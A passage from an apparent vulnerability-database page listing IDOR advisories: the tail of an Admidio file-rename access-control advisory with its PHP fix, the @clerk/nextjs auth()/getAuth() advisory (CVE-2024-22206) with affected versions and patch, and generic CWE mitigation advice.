src/Documents/Service/DocumentsService.php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);\n\n    // verify the current user has upload (write) right on the file\u0027s parent folder,\n    // not just download right (which getFileForDownload enforces)\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    ...\n}\n```\n\nEquivalently, in `modules/documents-files.php` `case \u0027file_rename_save\u0027`, resolve the file\u0027s parent folder and check `hasUploadRight()` against it before calling the service. The same fix should be applied to other documents-files modes that take a `file_uuid` independently of `folder_uuid`.\n\n## Related\n\nThis bug shares its root cause with `05-documents-cross-folder-move-idor.md` \u2014 both flow from the top-level rights check at lines 79-89 binding to URL `folder_uuid` rather than the actual file\u0027s parent. A single fix to enforce source-folder upload right inside `File::moveToFolder()` and `DocumentsService::renameFile()` (and any other operations on file_uuid) closes both.",
  "id": "GHSA-q6w3-hpfv-rg36",
  "modified": "2026-05-29T22:05:47Z",
  "published": "2026-05-29T22:05:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-q6w3-hpfv-rg36"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders"
}

GHSA-Q6W5-JG5Q-47VG

Vulnerability from github – Published: 2024-01-12 20:27 – Updated: 2024-01-12 22:33
VLAI
Summary
@clerk/nextjs auth() and getAuth() methods vulnerable to insecure direct object reference (IDOR)
Details

Impact

Unauthorized access or privilege escalation due to a logic flaw in auth() in the App Router or getAuth() in the Pages Router.

Affected Versions

All applications that that use @clerk/nextjs versions in the range of >= 4.7.0,< 4.29.3 in a Next.js backend to authenticate API Routes, App Router, or Route handlers. Specifically, those that call auth() in the App Router or getAuth() in the Pages Router. Only the @clerk/nextjs SDK is impacted. Other SDKs, including other Javascript-based SDKs, are not impacted.

Patches

Fix included in @clerk/nextjs@4.29.3.

References

  • https://clerk.com/changelog/2024-01-12
  • https://github.com/clerk/javascript/releases/tag/%40clerk%2Fnextjs%404.29.3
Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@clerk/nextjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.7.0"
            },
            {
              "fixed": "4.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-287",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-12T20:27:29Z",
    "nvd_published_at": "2024-01-12T20:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nUnauthorized access or privilege escalation due to a logic flaw in `auth()` in the App Router or `getAuth()` in the Pages Router.\n\n### Affected Versions\nAll applications that that use `@clerk/nextjs` versions in the range of `\u003e= 4.7.0`,`\u003c 4.29.3` in a Next.js backend to authenticate API Routes, App Router, or Route handlers. Specifically, those that call `auth()` in the App Router or `getAuth()` in the Pages Router. Only the `@clerk/nextjs` SDK is impacted. Other SDKs, including other Javascript-based SDKs, are not impacted.\n\n### Patches\nFix included in `@clerk/nextjs@4.29.3`.\n\n### References\n- https://clerk.com/changelog/2024-01-12\n- https://github.com/clerk/javascript/releases/tag/%40clerk%2Fnextjs%404.29.3",
  "id": "GHSA-q6w5-jg5q-47vg",
  "modified": "2024-01-12T22:33:02Z",
  "published": "2024-01-12T20:27:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/clerk/javascript/security/advisories/GHSA-q6w5-jg5q-47vg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22206"
    },
    {
      "type": "WEB",
      "url": "https://clerk.com/changelog/2024-01-12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/clerk/javascript"
    },
    {
      "type": "WEB",
      "url": "https://github.com/clerk/javascript/releases/tag/%40clerk%2Fnextjs%404.29.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@clerk/nextjs auth() and getAuth() methods vulnerable to insecure direct object reference (IDOR) "
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list